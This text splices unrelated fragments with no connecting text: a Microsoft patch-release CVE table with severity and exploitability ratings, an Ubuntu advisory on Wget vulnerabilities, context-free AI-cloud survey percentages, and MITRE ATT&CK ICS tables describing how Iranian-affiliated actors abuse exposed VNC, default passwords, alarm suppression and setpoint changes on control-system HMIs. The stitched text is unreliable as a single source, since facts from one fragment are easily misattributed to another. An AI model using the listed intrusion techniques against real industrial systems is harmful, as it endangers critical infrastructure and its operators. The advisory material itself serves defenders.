CVE-2026-49808 Windows Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50354 Windows Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.1
CVE-2026-50332 Windows Kernel Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-50377 Windows Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 5.5
CVE-2026-50390 Windows Kernel Elevation of Privilege Vulnerability Exploitation More Likely No 7.0
CVE-2026-50423 Windows Kernel Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-50397 Windows Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50436 Windows Kernel Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-50399 Windows Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50459 Windows Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50477 Windows Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-50478 Windows Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50484 Windows Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50673 Windows Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-58532 Windows Kernel Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50294 Windows Kernel Information Disclosure Vulnerability Exploitation Less Likely No 6.2

CVE-2026-50316 Windows Kernel Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-50419 Windows Kernel Information Disclosure Vulnerability Exploitation Unlikely No 3.3
CVE-2026-50463 Windows Kernel Information Disclosure Vulnerability Exploitation Less Likely No 7.5
CVE-2026-50475 Windows Kernel Information Disclosure Vulnerability Exploitation More Likely No 5.5
CVE-2026-50429 Windows Kernel Information Disclosure Vulnerability Exploitation Less Likely No 8.2
CVE-2026-58614 Windows Kernel Security Feature Bypass Vulnerability Exploitation Unlikely No 5.5
CVE-2026-58545 Windows Kernel Security Feature Bypass Vulnerability Exploitation Unlikely No 5.5
CVE-2026-58602 Windows Kernel-Mode Driver Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50393 Windows Kernel-Mode Driver Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-50396 Windows Kernel-Mode Driver Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-50378 Windows Key Guard Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50303 Windows Key Guard Security Feature Bypass Vulnerability Exploitation Less Likely No 5.5
CVE-2026-40378 Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability Exploitation Less Likely No 7.5
CVE-2026-49799 Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability Exploitation Less Likely No 6.5
CVE-2026-50371 Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-58544 Windows Management Services Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50404 Windows Media Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-50358 Windows Media Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50336 Windows Media Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50398 Windows Media Elevation of Privilege Vulnerability Exploitation Unlikely No 8.8
CVE-2026-50414 Windows Media Elevation of Privilege Vulnerability Exploitation Unlikely No 7.5
CVE-2026-50379 Windows Media Elevation of Privilege Vulnerability Exploitation Unlikely No 7.5
CVE-2026-50433 Windows Media Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-50676 Windows Media Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50677 Windows Media Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-34349 Windows Media Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50394 Windows Media Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50415 Windows Media Information Disclosure Vulnerability Exploitation Less Likely No 5.3
CVE-2026-57083 Windows Media Photo Codec Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50327 Windows Media Remote Code Execution Vulnerability Exploitation More Likely No 7.8
CVE-2026-58542 Windows Media Remote Code Execution Vulnerability Exploitation Unlikely No 7.8
CVE-2026-54115 Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50447 Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability Exploitation Less Likely No 9.8
CVE-2026-50505 Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability Exploitation Less Likely No 7.5
CVE-2026-50342 Windows MIDI Service Module Elevation of Privileges Vulnerability Exploitation Less Likely No 8.8
CVE-2026-56183 Windows MIDI Service Module Elevation of Privileges Vulnerability Exploitation Less Likely No 7.0
CVE-2026-56187 Windows MIDI Service Module Elevation of Privileges Vulnerability Exploitation Less Likely No 7.0
CVE-2026-58635 Windows Narrator Braille Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50500 Windows Netlogon Elevation of Privilege Vulnerability Exploitation Unlikely No 7.5
CVE-2026-56181 Windows Network Address Translation (NAT) Spoofing Vulnerability Exploitation Less Likely No 8.3
CVE-2026-50476 Windows Network Connections Service Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-50450 Windows Network Connections Service Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-56650 Windows Network File System Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-56649 Windows Network File System Remote Code Execution Vulnerability Exploitation Unlikely No 5.9
CVE-2026-50470 Windows Network Policy Server SNMP Information Disclosure Vulnerability Exploitation Less Likely No 7.5
CVE-2026-50496 Windows Network Policy Server SNMP Information Disclosure Vulnerability Exploitation Less Likely No 7.5
CVE-2026-56194 Windows NFS Server Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-56648 Windows NFS Server Elevation of Privilege Vulnerability Exploitation Unlikely No 7.5
CVE-2026-50337 Windows Notification Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-49789 Windows NTFS Elevation of Privilege Vulnerability Exploitation Less Likely No 7.3
CVE-2026-50412 Windows NTFS Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50422 Windows NTFS Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50672 Windows NTFS Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-56175 Windows NTFS Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-56182 Windows NTFS Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50341 Windows NTFS Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-58640 Windows NTFS Remote Code Execution Vulnerability Exploitation Less Likely No 7.3
CVE-2026-49184 Windows NTFS Remote Code Execution Vulnerability Exploitation Less Likely No 8.4
CVE-2026-49797 Windows NTFS Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50308 Windows NTFS Remote Code Execution Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50386 Windows NTFS Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50309 Windows NTFS Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50313 Windows NTFS Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50388 Windows NTFS Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50448 Windows NTFS Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50471 Windows NTFS Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50461 Windows NTFS Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50417 Windows NTFS Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50482 Windows NTFS Remote Code Execution Vulnerability Exploitation Less Likely No 7.3
CVE-2026-50494 Windows NTFS Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50344 Windows OLE Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50686 Windows OLE Remote Code Execution Vulnerability Exploitation Less Likely No 8.1
CVE-2026-50335 Windows Operating Systems Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50317 Windows Operating Systems Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-54987 Windows Overlay Filter Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50435 Windows Overlay Filter Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50409 Windows Overlay Filter Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-40400 Windows PowerShell Remote Code Execution Vulnerability Exploitation Unlikely No 8.0
CVE-2026-49166 Windows Print Configuration Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55004 Windows Print Configuration Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50499 Windows Print Spooler Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50383 Windows Print Spooler Information Disclosure Vulnerability Exploitation Less Likely No 6.1
CVE-2026-57085 Windows Print Spooler Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-58608 Windows Print Spooler Remote Code Execution Vulnerability Exploitation Less Likely No 8.8
CVE-2026-50469 Windows Projected File System Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50434 Windows Push Notification Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50339 Windows Push Notification Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50430 Windows Push Notification Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50334 Windows Push Notification Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-44800 Windows Push Notifications Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50363 Windows Push Notifications Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50431 Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50372 Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-54982 Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability Exploitation Less Likely No 8.8
CVE-2026-54995 Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability Exploitation Unlikely No 8.1
CVE-2026-50666 Windows Remote Access Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-56647 Windows Remote Access Service Infrastructure Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-50330 Windows Remote Desktop Client Elevation of Privilege Vulnerability Exploitation Unlikely No 7.5
CVE-2026-50376 Windows Remote Desktop Client Information Disclosure Vulnerability Exploitation Less Likely No 6.5
CVE-2026-50504 Windows Remote Desktop Client Information Disclosure Vulnerability Exploitation Less Likely No 6.5
CVE-2026-58533 Windows Remote Desktop Client Information Disclosure Vulnerability Exploitation Less Likely No 6.5
CVE-2026-58535 Windows Remote Desktop Client Information Disclosure Vulnerability Exploitation Less Likely No 6.5
CVE-2026-58546 Windows Remote Desktop Client Information Disclosure Vulnerability Exploitation Less Likely No 6.5
CVE-2026-58539 Windows Remote Desktop Client Information Disclosure Vulnerability Exploitation Unlikely No 6.5
CVE-2026-55003 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Exploitation Unlikely No 6.5
CVE-2026-57979 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Exploitation Less Likely No 6.5
CVE-2026-50445 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Exploitation Less Likely No 6.5
CVE-2026-50497 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Exploitation Unlikely No 6.5
CVE-2026-54126 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Exploitation Unlikely No 6.5
CVE-2026-57982 Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability Exploitation Less Likely No 6.5
CVE-2026-50369 Windows Remote Desktop Services Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-58626 Windows Remote Desktop Services Remote Code Execution Vulnerability Exploitation Unlikely No 8.8
CVE-2026-55014 Windows Remote Help Defense Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50318 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50407 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50357 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50441 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50668 Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability Exploitation Unlikely No 6.8
CVE-2026-54109 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Exploitation Unlikely No 7.8
CVE-2026-49792 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Exploitation Unlikely No 7.8
CVE-2026-49793 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50362 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50492 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Exploitation Unlikely No 6.8
CVE-2026-50501 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Exploitation Unlikely No 7.8
CVE-2026-58530 Windows Resilient File System (ReFS) Remote Code Execution Vulnerability Exploitation Unlikely No 7.8
CVE-2026-49791 Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability Exploitation Less Likely No 7.1
CVE-2026-50451 Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability Exploitation Less Likely No 7.1
CVE-2026-57096 Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50323 Windows Runtime Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-50452 Windows Runtime Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-50348 Windows Runtime Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-50345 Windows Runtime Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-50322 Windows Runtime Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-50340 Windows Runtime Elevation of Privilege Vulnerability Exploitation Unlikely No 8.5
CVE-2026-50410 Windows Runtime Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50449 Windows Runtime Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50460 Windows Runtime Elevation of Privilege Vulnerability Exploitation Unlikely No 8.1
CVE-2026-50403 Windows Runtime Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-50385 Windows Runtime Elevation of Privilege Vulnerability Exploitation Unlikely No 8.8
CVE-2026-50413 Windows Runtime Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-50457 Windows Runtime Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50486 Windows Runtime Elevation of Privilege Vulnerability N/A No 7.8
CVE-2026-50503 Windows Runtime Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-54125 Windows Runtime Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-58527 Windows Runtime Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50373 Windows Search Service Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50679 Windows Search Service Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-44806 Windows Secure Channel Denial of Service Vulnerability Exploitation Less Likely No 5.3
CVE-2026-50681 Windows Secure Channel Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-56186 Windows Secure Channel Information Disclosure Vulnerability Exploitation Unlikely No 8.1
CVE-2026-42982 Windows Secure Kernel Mode Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50392 Windows Secure Kernel Mode Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50694 Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability Exploitation Unlikely No 8.1
CVE-2026-50367 Windows Sensor Data Service Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-58619 Windows Sensor Data Service Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50311 Windows Server Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-56188 Windows Server Network driver Remote Code Execution Vulnerability Exploitation More Likely No 9.8
CVE-2026-50444 Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-50328 Windows Server Update Service (WSUS) Tampering Vulnerability Exploitation Less Likely No 7.5
CVE-2026-58531 Windows SMB Elevation of Privilege Vulnerability Exploitation More Likely No 7.5
CVE-2026-54997 Windows SMB Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-49801 Windows SMB Information Disclosure Vulnerability Exploitation Less Likely No 5.5

CVE-2026-50690 Windows SMB Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-56168 Windows SMB Server Denial of Service Vulnerability Exploitation Less Likely No 6.5
CVE-2026-50360 Windows SMB Server Elevation of Privilege Vulnerability Exploitation Unlikely No 8.8
CVE-2026-57089 Windows SMB Server Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability Exploitation Unlikely No 7.5
CVE-2026-50333 Windows Spaceport.sys Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50298 Windows Spaceport.sys Elevation of Privilege Vulnerability Exploitation Unlikely No 6.8
CVE-2026-49171 Windows Speech Runtime Elevation of Privilege Vulnerability Exploitation Less Likely No 7.5
CVE-2026-49170 Windows StateRepository API Server file Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-58526 Windows Storage Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50299 Windows Storage Spaces Direct Remote Code Execution Vulnerability Exploitation Less Likely No 6.8
CVE-2026-50418 Windows System Secure Feature Bypass Vulnerability Exploitation Unlikely No 5.1
CVE-2026-50306 Windows TCP/IP Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50307 Windows TCP/IP Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-49177 Windows TCP/IP Information Disclosure Vulnerability Exploitation Less Likely No 5.5
CVE-2026-54999 Windows TCP/IP Remote Code Execution Vulnerability Exploitation Less Likely No 8.8
CVE-2026-50669 Windows Telephony Server Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-54124 Windows Terminal Remote Code Execution Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50350 Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability Exploitation Unlikely No 5.5
CVE-2026-50326 Windows Unified Consent System Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-49790 Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability Exploitation Less Likely No 7.3
CVE-2026-50498 Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-58547 Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability Exploitation Less Likely No 5.5
CVE-2026-49794 Windows USB Audio Class Driver Information Disclosure Vulnerability Exploitation Less Likely No 4.6
CVE-2026-50453 Windows USB Audio Class Driver Information Disclosure Vulnerability Exploitation Less Likely No 6.1
CVE-2026-58528 Windows USB Audio Class Driver Information Disclosure Vulnerability Exploitation Less Likely No 6.8
CVE-2026-50321 Windows USB Driver Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-50479 Windows USB Hub Driver Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-55000 Windows USB Print Driver Elevation of Privilege Vulnerability Exploitation Less Likely No 6.4
CVE-2026-54991 Windows USB Print Driver Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-54996 Windows USB Print Driver Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-49802 Windows USB Print Driver Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-49806 Windows USB Print Driver Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-50674 Windows USB Print Driver Elevation of Privilege Vulnerability Exploitation Less Likely No 7.0
CVE-2026-49804 Windows USB Video Driver Elevation of Privilege Vulnerability Exploitation Less Likely No 6.6
CVE-2026-50454 Windows User Interface Core Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-49176 Windows WalletService Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-49800 Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50480 Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-56173 Windows WebView Elevation of Privilege Vulnerability Exploitation Unlikely No 7.0
CVE-2026-58632 Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-54107 Windows Win32k Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-54986 Windows Win32k Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-54112 Windows Win32k Elevation of Privilege Vulnerability Exploitation Unlikely No 7.8
CVE-2026-54114 Windows Win32k Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-50670 Windows Win32k Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-50688 Windows Win32k Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
CVE-2026-50687 Windows Win32k Elevation of Privilege Vulnerability Exploitation Less Likely No 8.8
CVE-2026-56176 Windows Win32k Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-58628 Windows Wireless Network Manager Elevation of Privilege Vulnerability Exploitation Less Likely No 7.8
CVE-2026-50295 Windows Zero Trust DNS Security Feature Bypass Vulnerability Exploitation Less Likely No 5.5
CVE-2026-50509 Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability Exploitation More Likely No 7.8
Zero-Day Vulnerabilities: Known Exploited
CVE Title Exploitation status Publicly disclosed? CVSS v3 base score
CVE-2026-56155 Active Directory Federation Services Elevation of Privilege Vulnerability Exploitation Detected No 7.8
CVE-2026-56164 Microsoft SharePoint Server Elevation of Privilege Vulnerability Exploitation Detected No 5.3
Zero-Day Vulnerabilities: Publicly Disclosed (No known exploitation)
CVE Title Exploitation status Publicly disclosed? CVSS v3 base score
CVE-2026-50661 Windows BitLocker Security Feature Bypass Vulnerability Exploitation Less Likely Yes 6.1
Critical RCEs
CVE Title Exploitation status Publicly disclosed? CVSS v3 base score
CVE-2026-56159 DHCP Server Service Remote Code Execution Vulnerability Exploitation Unlikely No 9.8
CVE-2026-48561 Microsoft Copilot Remote Code Execution Vulnerability Exploitation Less Likely No 9.6
CVE-2026-55944 Microsoft Dynamics NAV and Microsoft Dynamics 365 Business Central (On Premises) Remote Code Execution Vulnerability Exploitation More Likely No 9.8
CVE-2026-55008 Microsoft Exchange Server Spoofing Vulnerability Exploitation More Likely No 9.6
CVE-2026-50522 Microsoft SharePoint Remote Code Execution Vulnerability Exploitation More Likely No 9.8
CVE-2026-58644 Microsoft SharePoint Remote Code Execution Vulnerability Exploitation More Likely No 9.8
CVE-2026-55040 Microsoft SharePoint Server Security Feature Bypass Vulnerability Exploitation More Likely No 9.1
CVE-2026-57092 Microsoft Windows VMSwitch Elevation of Privilege Vulnerability Exploitation Less Likely No 9.9
CVE-2026-55010 Minecraft Bedrock Dedicated Server Remote Code Execution Vulnerability Exploitation More Likely No 9.8
CVE-2026-54990 Remote Desktop Client Remote Code Execution Vulnerability Exploitation Less Likely No 9.8
CVE-2026-56190 Remote Desktop Protocol Remote Code Execution Vulnerability Exploitation Less Likely No 9.8
CVE-2026-42990 SQL Server ODBC driver Elevation of Privilege Vulnerability Exploitation Unlikely No 9.8
CVE-2026-50518 Windows DHCP Server Remote Code Execution Vulnerability Exploitation More Likely No 9.8
CVE-2026-49172 Windows FTP Service Remote Code Execution Vulnerability Exploitation Less Likely No 9.8
CVE-2026-50380 Windows GDI+ Remote Code Execution Vulnerability Exploitation Less Likely No 9.6
CVE-2026-49798 Windows Kernel Elevation of Privilege Vulnerability Exploitation More Likely No 9.3
CVE-2026-50447 Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability Exploitation Less Likely No 9.8
CVE-2026-56188 Windows Server Network driver Remote Code Execution Vulnerability Exploitation More Likely No 9.8



USN-8543-1: Wget vulnerabilities
Wed, 15 Jul 2026 00:16:23 +0200
It was discovered that Wget mishandled semicolons in the userinfo
subcomponent of a URL. A remote attacker could possibly use this issue
to trick a user into connecting to a different host than intended. This
issue only affected Ubuntu 14.04 LTS. (CVE-2024-38428)

It was discovered that Wget incorrectly handled Metalink documents
containing a whitespace-only URL. A remote attacker could possibly use
this issue to cause a denial of service. This issue only affected Ubuntu
18.04 LTS, Ubuntu 20.04 LTS, Ubuntu 22.04 LTS, Ubuntu 24.04 LTS, and Ubuntu
26.04 LTS. (CVE-2026-58469)

It was discovered that Wget incorrectly handled Content-Range header
values, leading to an integer overflow. A remote attacker could
possibly use this issue to cause download desynchronization.
(CVE-2026-58470)

It was discovered that Wget incorrectly handled character set
conversion of server-supplied filenames. A remote attacker could possibly
use this issue to cause a denial of service or possibly execute arbitrary
code. This issue only affected Ubuntu 18.04 LTS, Ubuntu 20.04 LTS,
Ubuntu 22.04 LTS, Ubuntu 24.04 LTS, and Ubuntu 26.04 LTS. (CVE-2026-58471)

It was discovered that Wget incorrectly handled HTML attributes
requiring entity encoding. A remote attacker could possibly use this issue
to cause a denial of service or possibly execute arbitrary code.
(CVE-2026-58472)

38%	are experimenting — running proofs of concept, not yet in production
37%	have some workloads in production, but not across the organization
21%	run AI in production at scale — the mature minority
4%	are not yet running AI workloads at all

48%	use Google Cloud — the most-used platform overall (Microsoft Azure 29%, AWS 22%, Oracle Cloud 22%)
41%	use Google’s Gemini models, with OpenAI close behind at 40% and Anthropic at 12%
6%	run their own on-prem or co-located GPU clusters; 4% a custom open-source self-managed stack
<2%	each use the specialized AI clouds — CoreWeave, Lambda, Crusoe, Nebius, Together, Fireworks and peers

45%	AI-specialized clouds (CoreWeave, Lambda, Crusoe, Nebius) — the top planned evaluation area
32%	non-NVIDIA accelerators (AWS Trainium, Google TPU, AMD Instinct, Intel Gaudi, in-house ASICs)
28%	Nvidia Blackwell (GB300) / next-generation GPUs
16%	decentralized or distributed compute networks
11%	sovereign or region-specific compute; 9% say none of the above

38%	plan to change within the next 0–3 months — tied for the most common answer
36%	have no plans to change
22%	plan to change within 3–6 months
7%	plan to change within 6–12 months

41%	integration with the existing cloud and data stack — the top factor
35%	total cost of ownership (TCO)
24%	performance — latency and throughput
19%	each cite security/compliance, autoscaling for spiky workloads, and GPU access/availability
8%	cost per 1M tokens — the least-cited factor

Technique Title	ID	Use
Gather Victim Organization Information	T1591	Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.
Active Scanning: Vulnerability Scanning	T1595.002	Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.

Technique Title	ID	Use
Default Credentials	T0812	Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.
Remote Services	T0886	Threat actors leverage VNC services to access system HMI devices.
Remote Services: VNC	T1021.005	Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.

Technique Title	ID	Use
Device Restart/Shutdown	T0816	While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.
Alarm Suppression	T0878	Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.
Change Credential	T0892	Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.

Technique Title	ID	Use
Modify Parameter	T0836	Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.
Unauthorized Command Message	T0855	Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.

Technique Title	ID	Use
Loss of Productivity and Revenue	T0828	Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.
Loss of View	T0829	Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely.
Manipulation of Control	T0831	Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.

Title	Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure
Original Publication	April 7, 2026
Last Update	July 22, 2026
